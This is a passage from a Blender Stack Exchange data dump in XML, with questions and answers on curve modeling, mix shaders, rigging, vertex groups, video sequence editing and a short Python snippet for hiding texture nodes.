  <row Id="35464" PostTypeId="2" ParentId="35459" CreationDate="2015-08-10T23:53:02.263" Score="1" Body="&lt;p&gt;To get straight lines using the &lt;strong&gt;bezier curve&lt;/strong&gt; you can set a &lt;strong&gt;low&lt;/strong&gt; amount of &lt;strong&gt;resolution&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sp5pR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sp5pR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zV6Pv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zV6Pv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(You could even draw the path as a mesh and than convert to a curve with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; to get a similar result.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than assign as a &quot;Bevel Object&quot; of the curve the wanted profile section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hFKLy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hFKLy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the individuals cylinders, you can enter in the curve edit mode, select a pair of adiacent vertex and than &lt;strong&gt;separate&lt;/strong&gt; them from the curve object with the &lt;kbd&gt;P&lt;/kbd&gt; shortcut. Repeat the process for every couple of vertex of each segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/b41lf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/b41lf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/opmpJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/opmpJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that we have &lt;strong&gt;individuals cylinders&lt;/strong&gt; that follows the given &lt;strong&gt;segments&lt;/strong&gt; of the path, we should convert them to mesh to operate with &lt;strong&gt;Boolean Modifiers&lt;/strong&gt; to get the shape of superposition parts (intersection) and the cut shape (difference).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xYuQ5m.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xYuQ5m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/2O6E6m.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2O6E6m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in edit mode you can translate the cap faces along their normal to extend the cylinder to the chosen lenght.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XFvZB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XFvZB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you can use not only rect cylinders but also &lt;a href=&quot;http://www.mathopenref.com/cylinderoblique.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;oblique cylinders&lt;/a&gt; to avoid the part in which you have to bool the parts (can be tricky), you can &lt;strong&gt;convert th curve to mesh&lt;/strong&gt; before splitting and than &lt;strong&gt;Rip&lt;/strong&gt; (&lt;kbd&gt;V&lt;/kbd&gt;) the edge ring on the path angles and than slide it slightly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oSPsH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oSPsH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-08-11T00:05:59.637" LastActivityDate="2015-08-11T00:05:59.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35465" PostTypeId="2" ParentId="35458" CreationDate="2015-08-10T23:56:03.840" Score="4" Body="&lt;p&gt;The mentioned operator changes a single property, which collapses the node to its space-saving variant. The property is called &lt;code&gt;.hide&lt;/code&gt;, which is a bit counter-intuitive:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Get texture&#xA;tex = bpy.data.textures['Tex']&#xA;&#xA;# Enable node mode (if not already), otherwise .nodes will not exist&#xA;tex.use_nodes = True&#xA;&#xA;# Create node and minimize it&#xA;n1 = tex.node_tree.nodes.new(&quot;TextureNodeDecompose&quot;)&#xA;n1.hide = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-08-10T23:56:03.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35466" PostTypeId="1" CreationDate="2015-08-11T00:08:49.897" Score="1" ViewCount="70" Body="&lt;p&gt;I want to programmatically change the linear stiffness of some soft body objects I'm working with. How do I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15734" LastActivityDate="2015-08-11T14:24:12.297" Title="How do I change the linear stiffness of an object programmatically?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;physics&gt;&lt;soft-body&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35467" PostTypeId="1" CreationDate="2015-08-11T00:41:02.547" Score="1" ViewCount="33" Body="&lt;p&gt;I'm pretty new to blender, started making my first project just to learn the basics of the interface, but when I rendered my image on cycles render,it started showing these grayish dots and messed up shadows, it looked like recycled paper to me so it was the best term i found to describe it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be just my stupidity, but I would appreciate your guys help.&#xA;As I said, I'm new to the community and ask for mercy upon me and my mistakes D:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my rendering: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iaPOk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iaPOk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16322" LastEditorUserId="241" LastEditDate="2015-08-11T12:02:03.443" LastActivityDate="2015-08-11T12:02:03.443" Title="My picture looks like recycled paper!" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-11T00:52:52.760" ContentLicense="CC BY-SA 3.0" />
  <row Id="35468" PostTypeId="1" AcceptedAnswerId="35476" CreationDate="2015-08-11T02:47:56.403" Score="2" ViewCount="535" Body="&lt;p&gt;I've renamed my vertex groups in my rig and my object after unparenting them, and I've reparented them. The rig works, but my animations don't work anymore. How can I fix this? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-08-11T07:02:29.783" Title="Animations not working after renaming vertex groups?" Tags="&lt;animation&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35469" PostTypeId="2" ParentId="13465" CreationDate="2015-08-11T03:01:11.407" Score="1" Body="&lt;p&gt;in physics turn &quot;Off&quot; collision for the cloth.  Collision just needs to be on the object it collides.&lt;/p&gt;&#xA;" OwnerUserId="16323" LastActivityDate="2015-08-11T03:01:11.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35470" PostTypeId="1" AcceptedAnswerId="35474" CreationDate="2015-08-11T03:02:11.310" Score="2" ViewCount="55" Body="&lt;p&gt;I'm new to Blender and I'm trying to organize my objects by creating a parenting hierarchy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have two parented sets of objects each containing several dozen objects (children) each. I would like to combine these two parents under a &quot;super&quot; parent while retaining the &quot;sub&quot; parents. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been unable to do this myself, however my research so far says nothing about this being impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="16269" LastActivityDate="2015-08-11T04:22:52.603" Title="Can 2 sets of parented objects be added to a 3rd parent?" Tags="&lt;modeling&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35471" PostTypeId="1" AcceptedAnswerId="35472" CreationDate="2015-08-11T03:32:52.650" Score="3" ViewCount="3262" Body="&lt;p&gt;I'm trying to add a specularity map to a mesh with a color map shader already on it.  However, when I attempt this, I seem to have to choose between one shader or another (see the &lt;code&gt;body&lt;/code&gt; and &lt;code&gt;glossy&lt;/code&gt; shaders in the materials tab in this screenshot of my screen&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NCQwr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NCQwr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;http://www.deepplanet.com/fiddlejs/random/1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;deepplanet.com&lt;/a&gt;)&lt;/sub&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They just toggle back and forth, letting me use one or the other but not both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, do I have to remove the color image texture, and then somehow do this another way? Or is there a simple way just to add it? I was trying to follow &lt;a href=&quot;http://www.blenderguru.com/tutorials/the-secrets-of-realistic-texturing/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt; but it seemed like a really long way to go about it. Is there a simple, shorter way to do this? &lt;/p&gt;&#xA;" OwnerUserId="16229" LastEditorUserId="32220" LastEditDate="2019-04-02T21:33:16.343" LastActivityDate="2020-02-11T15:36:01.040" Title="Combining two shaders, one with color map, one with a specularity map" Tags="&lt;cycles-render-engine&gt;&lt;mesh&gt;&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="35472" PostTypeId="2" ParentId="35471" CreationDate="2015-08-11T03:46:25.900" Score="6" Body="&lt;p&gt;You want to use a &lt;em&gt;mix shader&lt;/em&gt; (or &lt;a href=&quot;https://blender.stackexchange.com/questions/15458/when-to-use-add-shader&quot;&gt;sometimes an &lt;em&gt;add shader&lt;/em&gt;&lt;/a&gt;) to combine multiple shader nodes in the node editor.  The mix shader node will combine two shaders based on a given fraction.  The &lt;em&gt;fac&lt;/em&gt; value determines the amount of the second shader in the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance the following will result in a 20% glossy (and 80% diffuse) material:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ANhtK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ANhtK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can even use something else, such as a map or input node, to control the mix factor variably across the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I have plugged a specularity map into the factor, lighter areas on the map will receive more gloss, darker areas will receive more diffuse.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MIRTJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MIRTJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here I have mixed in another glossy shader using an &lt;em&gt;input &gt; fresnel&lt;/em&gt; node as a factor, this will make grazing angles even more glossy (which is more realistic).&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VisgW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VisgW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: to add a node hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and select the node you want to use.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2015-08-11T15:31:07.153" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35473" PostTypeId="1" CreationDate="2015-08-11T04:08:20.373" Score="3" ViewCount="582" Body="&lt;p&gt;I want to take a low poly hair mesh and fill it with particle hair on the inside. This can technically be done by emitting the hair from the faces of the mesh (and flipping normals so they face the correct way) but then the hair won't be in the proper direction. I want the hair to originate from a point, and then taper to the tip of mesh spikes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The particle hair also needs to  move with the mesh, which will be rigged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how this could be done?&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-08-11T04:08:20.373" Title="Fill a mesh with particle hair" Tags="&lt;mesh&gt;&lt;rigging&gt;&lt;particles&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35474" PostTypeId="2" ParentId="35470" CreationDate="2015-08-11T04:22:52.603" Score="3" Body="&lt;p&gt;Yes, this is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just select the parents of each individual set of parented objects and parent them to another object.  &lt;em&gt;Note: it is often good practice to use empties as parents for sets of objects for this kind of application.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-08-11T04:22:52.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35476" PostTypeId="2" ParentId="35468" CreationDate="2015-08-11T06:57:23.440" Score="3" Body="&lt;p&gt;&lt;strong&gt;Channels&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An action consists of several named channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Eb2FX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Eb2FX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each channel is assigned to a named bone. The channels are grouped by bone name for easier identification. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have a different armature you get different assignements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IwgRV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IwgRV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you rename a bone Blender automatically changes the assignment and the group for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Cg1S6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cg1S6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it can do that only on known actions. That means it does this on assigned actions only. There can be only one assigned -&gt; so it renames the current one only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you assign an action (via ActionEditor) that belongs to an armature with bones of different names, the channels lose the bone assignment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/l9F7H.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l9F7H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This action will not play with this armature as there is no bone to play the channel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can rename such unassigned channels. Be aware this removes the previous assignment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Vertex Groups&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can assign vertices to bones by assigning them a vertex group with the name that matches the bone name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bUSop.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bUSop.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the bone gets animated the animation engine considers the vertices that are part of the matching vertex group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you rename vertex groups you need to rename the according bones too. Otherwise the animation can't be matched. Blender will not automatically rename the bones. Re-parenting to the armature will (dependent on the options) result in vertex groups that match the bone names. But these are not the vertex groups you just renamed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When you rename bones, ensure to rename the channels and the vertex&#xA;groups too. &lt;/li&gt;&#xA;&lt;li&gt;When you rename vertex groups ensure to rename bones and&#xA;channels too.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I hope it helps&lt;/p&gt;&#xA;" OwnerUserId="13395" LastEditorUserId="13395" LastEditDate="2015-08-11T07:02:29.783" LastActivityDate="2015-08-11T07:02:29.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35477" PostTypeId="1" AcceptedAnswerId="35479" CreationDate="2015-08-11T07:49:23.967" Score="3" ViewCount="706" Body="&lt;p&gt;I am doing my first steps in Blender's VSE and i am trying to familiarise myself with the workflow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to edit several video clips to produce a single output video and i would like to somehow group some of these clips together to apply common color correction, time manipulation etc and to unclutter the main timeline. For this i created a new scene (let's say scene2) by either Copy Settings or Full Copy, moved some of the clips from my main scene (let's say scene1) to it and then on the main scene i did Add &gt; Scene... &gt; Scene2. When i try to playback on the main timeline though, on the part of the Scene2 i either get a blank screen or a square 3D object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am i doing wrong? Is there a better way to achieve the same result?&lt;/p&gt;&#xA;" OwnerUserId="16147" LastActivityDate="2015-08-11T09:22:58.887" Title="Can i use scenes in VSE to group video tracks?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35478" PostTypeId="2" ParentId="35432" CreationDate="2015-08-11T07:56:18.377" Score="3" Body="&lt;p&gt;It is possible to export a raster animation for Flash, (&lt;code&gt;.flv&lt;/code&gt;). There are no Blender plugins (or native features) that let you author &lt;code&gt;.fla&lt;/code&gt; or &lt;code&gt;.swf&lt;/code&gt; interactive content. Some parts of the flash format remain closed source, but if someone really wanted &lt;a href=&quot;https://en.wikipedia.org/wiki/SWF&quot; rel=&quot;nofollow noreferrer&quot;&gt;they could using the MXMLC compiler&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The grasp that Flash once had on the interactive web has faded significantly with the growing improvements in JavaScript and adjacent technologies. Egged on a little by &lt;a href=&quot;https://en.wikipedia.org/wiki/Apple_and_Adobe_Flash_controversy&quot; rel=&quot;nofollow noreferrer&quot;&gt;Apple's decision to stop supporting&lt;/a&gt; Flash directly on it's mobile devices. In light of recent (July 2015) revelations about years-old, but profound, security issues, the public's sense of trust in Flash isn't improving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are solutions for getting Blender content online and animated + interactive: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Code WebGL directly&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Three.js&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blend4Web &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;intended to make the process a lot easier, a shining endorsement is the fact that &lt;a href=&quot;https://www.blend4web.com/en/article/139/&quot; rel=&quot;nofollow noreferrer&quot;&gt;NASA uses&lt;/a&gt; it. See this other answer about interactive web tech built with a direct pipeline from Blender.&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/18571/why-the-blender-browser-plugin-is-not-updated/18604#18604&quot;&gt;Why the blender browser plugin is not updated?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-08-11T08:13:13.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35479" PostTypeId="2" ParentId="35477" CreationDate="2015-08-11T08:06:34.183" Score="3" Body="&lt;p&gt;If you add scene2, blender does not import the Video sequence but the 3D animation, hence the cube. You could export scene 2 in a movieclip and then import it in scene 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could group the clips (in scene1) by selecting the strips and then &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt;. ( &lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; to ungroup)&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="8094" LastEditDate="2015-08-11T08:23:04.763" LastActivityDate="2015-08-11T08:23:04.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35480" PostTypeId="2" ParentId="35356" CreationDate="2015-08-11T08:45:45.530" Score="2" Body="&lt;p&gt;All your pole targets are setup incorrectly (the pole angle). Causing the chains to move in &lt;em&gt;Pose Position&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there is pole target on the thumb which you probably don't want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest this reading for pole targets: &lt;a href=&quot;https://blender.stackexchange.com/questions/19754/how-to-set-calculate-pole-angle-of-ik-constraint-so-the-chain-does-not-move/19755#19755&quot;&gt;How to Set/Calculate pole angle of IK constraint so the chain does not move?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't want the fingers to have any IK. You should control them only by FK. IK fingers are very advanced and rarely needed. You can still have 1 control bone to drive the finger bone chain (scale to curl/close the finger (try it, you can't rotate the finger parts individually), rotation to point it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further I suggest look into some already made armatures(cgcookie flexrig, sintel, search blendswap, rigify, etc.) how it should be setup. You will have problems animating this and the animations won't look nice. There are problems with shoulders, legs and spine.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2015-08-11T09:07:44.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35481" PostTypeId="1" AcceptedAnswerId="35486" CreationDate="2015-08-11T09:14:03.493" Score="1" ViewCount="382" Body="&lt;p&gt;I am trying to model a wine glass with the spin tool. But the result looks more like a cup/beaker than a wine glass.&lt;a href=&quot;https://i.stack.imgur.com/ql6ST.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ql6ST.jpg&quot; alt=&quot;wine glass&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is my understanding that the spin tool uses the 3D cursor as the pivot point. Not sure what I do wrong. The blender file is &lt;a href=&quot;https://www.dropbox.com/s/6vgmqz0d3qscppa/tutorial.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13877" LastActivityDate="2015-08-11T10:13:55.530" Title="Modeling a wine glass with spin tool" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="2" ClosedDate="2015-08-11T12:49:43.630" ContentLicense="CC BY-SA 3.0" />
  <row Id="35482" PostTypeId="2" ParentId="35477" CreationDate="2015-08-11T09:22:58.887" Score="2" Body="&lt;p&gt;An other option:&#xA;You could also download the blender gooseberry branch. &lt;a href=&quot;https://builder.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://builder.blender.org/download/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you can make different scenes using the video sequence editor. Then you can work the way you discribed above. You can import the one scene into the other. Then if you click on the scene you imported in the sequence editor, you will see a cube, but in the properties panel under the tab scene you can check use sequence. and then you will see the movie files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rdpvj.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rdpvj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastActivityDate="2015-08-11T09:22:58.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35483" PostTypeId="1" CreationDate="2015-08-11T09:27:04.563" Score="0" ViewCount="36" Body="&lt;p&gt;How can I perform some actions before deleting an object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have an object that has a relation with some other objects in the scene. and the object was selected in the screen then deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I perform some changes (in a python add on program) to the other objects before the object is really deleted? &lt;/p&gt;&#xA;" OwnerUserId="16326" LastActivityDate="2015-08-11T09:27:04.563" Title="change the sscene before deleting an object" Tags="&lt;python&gt;&lt;scripting&gt;&lt;objects&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35484" PostTypeId="1" CreationDate="2015-08-11T09:33:32.603" Score="0" ViewCount="491" Body="&lt;p&gt;I have a mesh unwrapped which I need to ensure that each face of same size occupy the exactly the same texture space (pixel-perfect).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This holds true when I simply use the basic unwrap option.  However, when I select the concerned faces in the UV/Image editor tab and scale them at once, the resulting faces loses proportion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the problem is that I can only scale the faces based on one pivot point, hence the faces are scaled differently depending on their respective distance from the choice of pivot centre.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I am wondering if there is any option available so that each face is scaled using their own centre as the pivot point? Otherwise, does anyone know how I can achieve what I want?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="16325" LastActivityDate="2015-08-11T09:33:32.603" Title="How to scale multiple UV face in proportion?" Tags="&lt;uv&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35485" PostTypeId="2" ParentId="35481" CreationDate="2015-08-11T09:38:36.287" Score="6" Body="&lt;p&gt;It is pretty simple. If you look at your scene from upwards you see it well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dQOES.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dQOES.png&quot; alt=&quot;Offsetted cros section&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your silhuette / cross section / whatever you want to call it is offsetted on the Y axis. As spin pivots around the 3D cursor, you want it to look like this instead:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jlzxS.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jlzxS.png&quot; alt=&quot;Centered cross section&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the results are as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6Jnfl.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Jnfl.png&quot; alt=&quot;Corrected result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, for practicality's sake, I would encourage you to look into the screw modifier. It does the same thing as spin, but you can edit you cross section in real time. (These settings seem to work the best with your scene.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Gz3Vg.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gz3Vg.png&quot; alt=&quot;Screw 